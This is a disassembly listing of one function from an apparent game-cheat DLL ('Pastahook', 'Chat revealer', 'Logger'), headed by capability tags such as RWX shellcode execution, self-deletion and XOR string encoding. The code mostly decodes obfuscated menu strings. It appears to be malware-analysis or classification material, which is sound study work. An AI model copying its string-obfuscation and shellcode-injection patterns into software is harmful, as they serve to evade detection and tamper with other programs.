Function at 0x100fece0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Execute shellcode via indirect call
Self delete
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xb14
mov eax, dword [0x102070c0]
xor eax, esp
mov dword [esp + 0xb10], eax
mov ecx, dword [0x103501f8]
push ebx
xor ebx, ebx
push esi
mov eax, dword [ecx + 0x1bec]
push edi
mov dword [esp + 0x1c], ebx
mov byte [eax + 0xa8], 1
mov eax, dword [ecx + 0x1bec]
mov eax, dword [eax + 0x1d0]
test eax, eax
je 0x100fed37
cmp dword [eax + 0x10], 2
jne 0x100fed32
cmp dword [eax + 4], 1
je 0x100fed45
call fcn.100ca3e0
push 1
mov edx, 2
xor ecx, ecx
call fcn.100c9b00
movss xmm0, dword [0x101f8b28]
mov ecx, 1
call fcn.100c9730
mov esi, dword [0x10224ca0]
xorps xmm1, xmm1
mov al, byte [0x101efcfc]
add esi, 0x3348
movq xmm0, qword [str.TF]
mov dword [esp + 0x18], ebx
xor ebx, ebx
mov byte [esp + 0x28c], al
movq qword [esp + 0x284], xmm0
mov dword [esp + 0x14], 0x42c80000
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x284], cl
inc ebx
cmp ebx, 9
jl 0x100fed91
lea eax, [esp + 0x14]
movaps xmm0, xmm1
push eax
mov edx, esi
lea ecx, [esp + 0x288]
call fcn.100d2ae0
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov eax, dword [ecx + 0x1bec]
cmp byte [eax + 0xab], 0
jne 0x100fee35
movss xmm1, dword [ecx + 0x159c]
movss xmm0, dword [eax + 0x118]
addss xmm1, xmm1
addss xmm1, dword [ecx + 0x1988]
maxss xmm0, xmm1
movss dword [eax + 0x118], xmm0
movss xmm0, dword [eax + 0x124]
maxss xmm0, dword [ecx + 0x159c]
movss dword [eax + 0x124], xmm0
cmp byte [0x101ee317], 0
mov eax, dword [str.bTDVUYE7p]
mov ecx, dword [0x101ee314]
mov edx, dword [0x10225d40]
mov dword [esp + 0x1b0], eax
mov dword [esp + 0x1b4], ecx
je 0x100fef90
cmp edx, 2
jl 0x100fef61
movaps xmm2, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x101f8ee0]
movd xmm0, eax
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x1b0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x101f8ee0]
movd xmm0, ecx
xorps xmm1, xmm0
movd dword [esp + 0x1b4], xmm1
jmp 0x100fef90
xor ebx, ebx
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x1b0], cl
inc ebx
cmp ebx, 8
jl 0x100fef63
lea eax, [esp + 0x1b0]
push eax
call fcn.1016b3b0
movss xmm1, dword [0x101f8bd4]
add esp, 4
xorps xmm0, xmm0
call fcn.1015c330
mov eax, dword [0x103501f8]
xor edx, edx
mov esi, dword [eax + 0x1bec]
mov eax, dword [esi + 0xe8]
add esi, 0xe0
mov ecx, dword [esi]
push dword [eax + ecx*4 - 4]
mov ecx, str.stop_using_hex_u_dirty_hoe__Pastahook
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x100ff008
inc ecx
test edi, edi
je 0x100feff6
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x100feffb
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
push 1
push 0
mov dword [eax + ecx*4], edx
lea edx, [esp + 0x1c]
inc dword [esi]
mov ecx, 0x101ec3bc
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.1016bb30
test al, al
je 0x100ff048
xor edx, edx
mov ecx, 0x101d04ee
call fcn.1015d160
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
jg 0x100ff881
mov dword [esi + 0x1c74], 0
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov edi, dword [0x10225d40]
mov ax, word [0x101ee884]
mov esi, dword [0x10224ca0]
movq xmm0, qword [str.bPVRF]
add esi, 0x359f
mov word [esp + 0x120], ax
xor ebx, ebx
mov al, byte [0x101ee886]
movq qword [esp + 0x118], xmm0
mov byte [esp + 0x122], al
nop word [eax + eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x118], cl
inc ebx
cmp ebx, 0xb
jl 0x100ff0c0
mov edx, esi
lea ecx, [esp + 0x118]
call fcn.1016d3d0
mov eax, dword [0x101efbf8]
xor edx, edx
movq xmm0, qword [str.cAWP_TBXJ]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x3e0], eax
mov ax, word [0x101efbfc]
mov word [esp + 0x3e4], ax
mov al, byte [0x101efbfe]
movq qword [esp + 0x3d8], xmm0
mov byte [esp + 0x3e6], al
mov dword [esp + 0x40], edx
cmp edi, 2
jl 0x100ff252
movaps xmm2, xmmword [0x101f8d60]
mov edx, 8
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
mov dword [esp + 0x40], edx
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.cAWP_TBXJ]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x3d8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [esp + 0x3dc]
xorps xmm1, xmm0
movd dword [esp + 0x3dc], xmm1
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x40]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x40]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x3d8], cl
inc edx
mov dword [esp + 0x40], edx
cmp edx, 0xf
jl 0x100ff252
lea edx, [esi + 0x365c]
lea ecx, [esp + 0x3d8]
call fcn.1016d3d0
movss xmm1, dword [0x101f8bd4]
xorps xmm0, xmm0
call fcn.1015c330
mov eax, dword [0x101ef6f0]
movq xmm0, qword [0x101ef6e8]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x2e0], eax
mov ax, word [0x101ef6f4]
movq qword [esp + 0x2d8], xmm0
mov word [esp + 0x2e4], ax
test ah, ah
je 0x100ff424
xor ebx, ebx
cmp edi, 2
jl 0x100ff3f7
movaps xmm2, xmmword [0x101f8d60]
mov ebx, 8
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ef6e8]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x2d8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [esp + 0x2dc]
xorps xmm1, xmm0
movd dword [esp + 0x2dc], xmm1
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x2d8], cl
inc ebx
cmp ebx, 0xe
jl 0x100ff3f7
lea edx, [esi + 0x3668]
lea ecx, [esp + 0x2d8]
call fcn.1016d3d0
mov ax, word [0x101ee5c4]
mov esi, dword [0x10224ca0]
movq xmm0, qword [str.r_Q]
add esi, 0x36ad
mov word [esp + 0x250], ax
xor ebx, ebx
mov al, byte [0x101ee5c6]
mov byte [esp + 0x252], al
movq qword [esp + 0x248], xmm0
nop
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x248], cl
inc ebx
cmp ebx, 0xb
jl 0x100ff470
mov edx, esi
lea ecx, [esp + 0x248]
call fcn.1016d3d0
movss xmm1, dword [0x101f8bd4]
xorps xmm0, xmm0
call fcn.1015c330
mov eax, dword [0x101ef518]
movq xmm0, qword [str.xD_G]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x3a8], eax
mov ax, word [0x101ef51c]
mov word [esp + 0x3ac], ax
mov al, byte [0x101ef51e]
mov byte [esp + 0x3ae], al
xor eax, eax
movq qword [esp + 0x3a0], xmm0
mov dword [esp + 0x10], eax
cmp edi, 2
jl 0x100ff612
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.xD_G]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x3a0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x10], eax
movd xmm0, dword [esp + 0x3a4]
xorps xmm1, xmm0
movd dword [esp + 0x3a4], xmm1
mov ebx, dword [esp + 0x10]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x3a0], cl
inc ebx
cmp ebx, 0xf
jl 0x100ff616
push 0
push 0
push 0
lea eax, [esi + 0x36bf]
push eax
lea eax, [esi + 0x36ba]
push eax
lea eax, [esi + 0x36be]
push eax
push 0
lea edx, [esi + 0x36ae]
lea ecx, [esp + 0x3bc]
call fcn.100be720
mov eax, dword [0x101ef328]
movq xmm0, qword [0x101ef320]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x330], eax
mov al, byte [0x101ef32c]
mov byte [esp + 0x334], al
xor eax, eax
movq qword [esp + 0x328], xmm0
mov dword [esp + 0x10], eax
cmp edi, 2
jl 0x100ff7bc
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ef320]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x328], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x10], eax
movd xmm0, dword [esp + 0x32c]
xorps xmm1, xmm0
movd dword [esp + 0x32c], xmm1
mov ebx, dword [esp + 0x10]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x328], cl
inc ebx
cmp ebx, 0xd
jl 0x100ff7c0
push 0
push 0
push 0
lea eax, [esi + 0x3695]
push eax
lea eax, [esi + 0x3690]
push eax
lea eax, [esi + 0x3694]
push eax
push 0
lea edx, [esi + 0x3684]
lea ecx, [esp + 0x344]
call fcn.100be720
movss xmm1, dword [0x101f8bd4]
xorps xmm0, xmm0
call fcn.1015c330
mov eax, dword [0x103501f8]
xor edx, edx
mov ecx, str.Logger
mov esi, dword [eax + 0x1bec]
mov eax, dword [esi + 0xe8]
add esi, 0xe0
mov ebx, dword [esi]
push dword [eax + ebx*4 - 4]
call fcn.101501c0
mov edi, dword [esi + 4]
cmp ebx, edi
mov ebx, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
jne 0x100fff33
mov ecx, dword [esi]
inc ecx
test edi, edi
je 0x100fff21
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x100fff26
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x100ff8b1
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x100ff8c0
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x100ff06a
mov eax, dword [0x101ef954]
xor ebx, ebx
movq xmm0, qword [str.bTDVUY]
mov edi, dword [0x10225d40]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x300], eax
mov al, byte [0x101ef958]
movq qword [esp + 0x2f8], xmm0
mov byte [esp + 0x304], al
cmp edi, 2
jl 0x100ffa20
movaps xmm2, xmmword [0x101f8d60]
mov ebx, 8
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.bTDVUY]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x2f8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [esp + 0x2fc]
xorps xmm1, xmm0
movd dword [esp + 0x2fc], xmm1
nop dword [eax]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x2f8], cl
inc ebx
cmp ebx, 0xd
jl 0x100ffa20
lea edx, [esi + 0x35a0]
lea ecx, [esp + 0x2f8]
call fcn.1016d3d0
mov eax, dword [0x101ee99c]
xor ebx, ebx
movq xmm0, qword [0x101ee994]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x310], eax
mov al, byte [0x101ee9a0]
movq qword [esp + 0x308], xmm0
mov byte [esp + 0x314], al
cmp edi, 2
jl 0x100ffba1
movaps xmm2, xmmword [0x101f8d60]
mov ebx, 8
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ee994]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x308], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [esp + 0x30c]
xorps xmm1, xmm0
movd dword [esp + 0x30c], xmm1
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x308], cl
inc ebx
cmp ebx, 0xd
jl 0x100ffba1
lea edx, [esi + 0x35a1]
lea ecx, [esp + 0x308]
call fcn.1016d3d0
mov eax, dword [0x101ee7fc]
xor ebx, ebx
movq xmm0, qword [0x101ee7f4]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x3d0], eax
mov ax, word [0x101ee800]
mov word [esp + 0x3d4], ax
mov al, byte [0x101ee802]
movq qword [esp + 0x3c8], xmm0
mov byte [esp + 0x3d6], al
cmp edi, 2
jl 0x100ffd30
movaps xmm2, xmmword [0x101f8d60]
mov ebx, 8
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ee7f4]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x3c8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [esp + 0x3cc]
xorps xmm1, xmm0
movd dword [esp + 0x3cc], xmm1
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x3c8], cl
inc ebx
cmp ebx, 0xf
jl 0x100ffd30
lea edx, [esi + 0x35a2]
lea ecx, [esp + 0x3c8]
call fcn.1016d3d0
mov eax, dword [0x101ef980]
xor ebx, ebx
movq xmm0, qword [0x101ef978]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x320], eax
mov al, byte [0x101ef984]
movq qword [esp + 0x318], xmm0
mov byte [esp + 0x324], al
cmp edi, 2
jl 0x100ffeb1
movaps xmm2, xmmword [0x101f8d60]
mov ebx, 8
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ef978]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x318], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [esp + 0x31c]
xorps xmm1, xmm0
movd dword [esp + 0x31c], xmm1
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x318], cl
inc ebx
cmp ebx, 0xd
jl 0x100ffeb1
lea edx, [esi + 0x35a3]
lea ecx, [esp + 0x318]
call fcn.1016d3d0
mov edx, dword [0x10224ca0]
mov ecx, str.Chat_revealer
lea edx, [edx + 0x3345]
call fcn.1016d3d0
call fcn.1015d6e0
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
jmp 0x100ff081
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
push 1
push 0
mov dword [eax + ecx*4], edx
lea edx, [esp + 0xd4]
inc dword [esi]
mov ecx, 0x101ec3bc
mov dword [esp + 0xd4], 0
mov dword [esp + 0xd8], 0
call fcn.1016bb30
test al, al
je 0x100fff7c
xor edx, edx
mov ecx, 0x101d04ee
call fcn.1015d160
mov esi, dword [0x103501f8]
mov edi, dword [0x10225d4c]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
mov eax, dword fs:[0x2c]
mov dword [esp + 0x40], eax
jg 0x100fffaf
mov dword [esi + 0x1c74], 0
jmp 0x10100be8
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
